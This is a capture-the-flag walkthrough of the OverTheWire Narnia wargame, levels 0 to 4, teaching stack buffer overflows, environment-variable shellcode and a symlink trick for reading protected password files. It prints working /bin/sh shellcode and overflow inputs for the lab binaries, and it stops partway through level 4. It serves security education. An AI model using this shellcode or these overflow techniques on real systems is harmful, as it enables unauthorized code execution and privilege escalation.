OTW Narnia Wargame
Please don't just copy and paste this stuff! Try for yourself first!
If you don't get along, read the text. If you still don't get it, try to understand my code.
Foreword
Level0
Level1
Level2
Level3
Level4
Foreword - Using SSH
On a linux box or mac you can just bring up a terminal and type in ssh narnia0@narnia.labs.overthwire.org, as described
in Level0. On a windows box you need to download PuTTY, KiTTY or any other SSH Terminal and enter
narnia.labs.overthewire.org as host / server and SSH as method.
Level 0 - Connect
In the first stage we just have establish a connection. We know the standard hostname system at OTW and we get the hint
that the password is the same as the username, which is narnia0
$ ssh narnia0@narnia.labs.overthewire.org
Quickly read through the text, it explains the basic gameplay layout and tells you where the files and passwords are stored.
Level 1 - Basic Buffer Overflow
Like you have __hopefully__ read, the files for our stages are stored in /narnia/. If you don't know how to change to
that directory, you better try out OTW bandit.
$ cd /narnia
Here you will find all the files for the whole narnia series.
Start out by reading the narnia0 source code.
$ cat narnia0.c
....code....
Your attention should be drawn towards the system("/bin/sh") and the scanf("%24s", buf) lines.
From the printf() call you should understand your objective: changing the variable val to 0xdeadbeef.
the scanf call scans a 24-Charcter into the buf variable, which lives beneath the val variable. The buffer is 20
Characters in size, so scanf will scan 4 characters more. Because narnia is a Little Endian Machine,
the buf will grop upwards into the val variable. All we have to do is submit 20 Characters of junk and 0xdeadbeef backwards after.
To print the character corresponding to an hex escape sequence in bash, we need to put it in a '-enclosed string, prepended by a $ sign:
$ echo $'aaaaaaaaaaaaaaaaaXXX\xef\xbe\xad\xde\xaf'
aaaaaaaaaaaaaaaaaXXXᆳޯ
The strange character at the end is our actual unescaped hex sequence, followed by some random hex-byte I added. If you leave it out, some of the hex information
doesn't form a valid ASCII character and therefore can't be copied, which we need to do next. Just think of it as some kind of padding.
If you read the sequence from right to left but each byte from left to right, you can recognize our target val, 0xdeadbeef.
Now launch the program and play with it a bit, put in strings over and under 20 characters of length and watch the results. If you're done with it, you can
Let bash unescpae our injection-code and copy it to clipboard. Just paste it into the program and ta-dah: we got our level1 final shell!
$ echo $'aaaaaaaaaaaaaaaaaXXX\xef\xbe\xad\xde\xaf'
aaaaaaaaaaaaaaaaaXXXᆳޯ
$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: aaaaaaaaaaaaaaaaaXXXᆳޯ
buf: aaaaaaaaaaaaaaaaaXXXᆳ�
val: 0xdeadbeef
$ whoami
narnia1
At last cd into the /etc/narnia_pass/ directory and read the password file (narnia1):
$ cd /etc/narnia_pass
$ cat narnia1
** at least this you gotta do yourself **
I suggest you write down this password somewhere savely, because you don't want to have to play through it all again everytime.
Level 2 - Executing an env variable
If you haven't already, connect to narnia.labs.orverthewire.org with username narnia1 and the password you got from Level 1.
Now follow the usual procedure, change to /narnia/, read narnia1.c and find out it's purpose.
$ cd /narnia
$ cat narnia1.c
....code....
Quick explanation:
The code gets the address of an Environment Variable called EGG.
If it equals NULL (is non-existant) it prints a message and returns. If not, it stores the address
in a function pointer and tries to execute it.
To store a value into an environment variable, we use the export command:
export: usage: export [-fn] [name[=value] ...]
$ export DEMO="checkitout"
$ export
declare -x TERM=xterm
....junk....
declare -x DEMO=checkitout
To pass this stage, we need to put a shellcode into the EGG variable. First we need a valid piece of shellcode to spawn a rootshell.
I chose the following one, which uses execve() to call /bin/sh (create a new sh shell):
\xeb\x27\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x89\x76\x0b\x8d\x5e\x08\x89\x5e\x0f\x89\x46\x13\xb0\x0b\x89\xf3\x8d\x4e\x0b\x8d\x56\x13\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x69\x23\x41\x41\x41
To store it, use the same technique covered in Level 1:
$ export EGG=$'\xeb\x27\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x89\x76\x0b\x8d\x5e\x08\x89\x5e\x0f\x89\x46\x13\xb0\x0b\x89\xf3\x8d\x4e\x0b\x8d\x56\x13\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x69\x23\x41\x41\x41'
$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
Now for the same procedure as for level 1, change to /etc/narnia_pass/, read narnia2.
Level 3 - Buffer Overflow and Symlinks
First, as usual, check out the source code:
$ cd /narnia/
$ cat narna3.c
...code...
Well, what does it do? There are five variables, buf, a 32 Char string buffer, ifile and ofile,
two strings (infile and outfile) and two ints, ifd and ofd (inFile aDescriptor and out~)
You might have noticed that I listed them in reverse order. That's because that is how they will live on the stack.
It copies argv[1], the first argument into ifile and then opens that file as well as /dev/null.
/dev/null (Device/Null) is a linux file in the device directory that acts as some sort of trashcan.
Everything you write there, no matter how is just lost:
$ echo "randomstuff" > /dev/null
$ yes >> /dev/null
^C
$ cat /dev/null
$
Well, what can we use this for? Our target is /etc/narnia_pass/narnia4, which we can't access, but the program can.
We can use the program to read the password, but then it'll just dump it into /dev/null and we can't get it.
If you check back to the variable list above, you can see that ofile is right behind our mutable 32-byte ifle var.
The strcpy function is screaming for a buffer overflow.
We can change ofile by entering 32 bytes of ifile and 16 bytes of ofile. The only problem is that then,
ifile won't be delimited by a Null Byte any more and will therefore read all 48 bytes. Therefore what we need to do is:
(1) - Find a file where we can dump the password to, filename < 16 Chars,
(2) - Find a way to open /etc/narnia_pass/narnia4, in a way that the string ends in (1)
(3) - Pack it into a string and pass it to /narnia/narnia3.
We can create our own directory in /tmp/ and store our own files there:
$ cd /tmp/
$ mkdir md
$ cd md
$ touch out.txt
$ chmod 777 out.txt
(The chmod is needed because the file needs to be writable to /narnia/narnia3)
Now, our string looks like this:
123456789012345678901234567890123456/tmp/md/pass.txt
As you see, our ofile breaks the 16bytes limit, but the string delimiter (null byte) gets overwritten too, so it doesn't matter.
linux (and alike systems) offer us the possibility of symlinks (aliases), to point a file to another's contents.
To create a symlink we use the ln -s command:
$ ln -s /etc/narnia_pass/narnia4 infile
$ cat infile
cat: infile: Permission denied
Great, our string does now look like this:
/tmp/md/infile901234567890123456/tmp/md/pass.txt
Great, but ifile does now not only include infile but also "89012" and pass.txt - as we can't change infile,
we need to rename infile to infile9012345678901/tmp/pass.txt. We can't use slashes in filenames though, so we create the
directories infile8901 and tmp and md inside, and move the old infile there, renames to pass.txt:
$ mkdir infile901234567890123456
$ mkdir infile901234567890123456/tmp
$ mkdir infile901234567890123456/tmp/md
$ mv infile infile901234567890123456/tmp/md/out.txt
copied contents of /tmp/md/infile901234567890123456/tmp/md/out.txt to a safer place... (/tmp/md/out.txt)
$ cat out.txt
...password...
Great! It worked! Note that you need to keep your folder name in /tmp/ short or you won't have enough space in your string.
Level 4 - with Shellcode on the Stack
You should know the standard procedure by now, so I'll jump right into it:
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
So, what this code does is delete / unset all Environment Variables and then copy argv[1] (the first argument) into the
256-byte buffer. Well, we did already exploit a strcpy vulnrability (Level 1) and we did already
spawn our own shell (Level 2), so all we need to do is mix the two of them.
We need to fill the buffer with our shellcode and then overwrite the Return Adress with the starting point of our shellcode.
Because it is hard to "hit" the shellcode exactly (trust me, it really is) we use a NOP-Sled
We pad our code with 0x90 characters, the hex equivalent to the NOP (No Operation) instruction, which, well... does nothing at all.
Like this, if we don't hit the code exactly, the processor while "slide" down the nopsled until it reaches our shellcode (hence the name)
Even though the program deletes our env vars, I will still use them to store our input because I can easily change them.
$ export SHELLCODE=$'\xeb\x27\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x89\x76\x0b\x8d\x5e\x08\x89\x5e\x0f\x89\x46\x13\xb0\x0b\x89\xf3\x8d\x4e\x0b\x8d\x56\x13\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x2d\x69\x23\x41\x41\x41'
$ echo $SHELLCODE | wc -c
61
Great, now we have our shellcode easily accessibe and we know its 61 bytes in size.
So, for testing this lets hop into gdb (GNU Debugger):
$ gdb /narnia/narnia4
...stuff...
(gdb) disas main
...assembly...
The disas(semble) command in gdb shows as the assembler code of a function, main in this case. The line we are
interested in is 0x080484e9, here the assembler calls the function strcpy to copy argv[1] into the buffer
(we can easily see this in the code above). gdb now allows us add breakpoints to any of those lines. I will ad one at 0x080484e9
and one at 0x080484ee so we can have a before-after check. After that we can run the program with the r command.
(gdb) break *0x080484e9
Breakpoint 1 at 0x80484e9
(gdb) break *0x080484ee
Breakpoint 2 at 0x80484ee
(gdb) r "first argument"
Starting program: /narnia/narnia4 "first argument"
Breakpoint 1, 0x080484e9 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x080484ee in main ()
(gdb) c
Continuing.
Program exited normally.
The execution pauses every time we hit a breakpoint and waits for us enter the c (Continue) command to go on.
Now we can expirment with different string lengths until we get an error (= we hit the return address).
-- rest coming soon --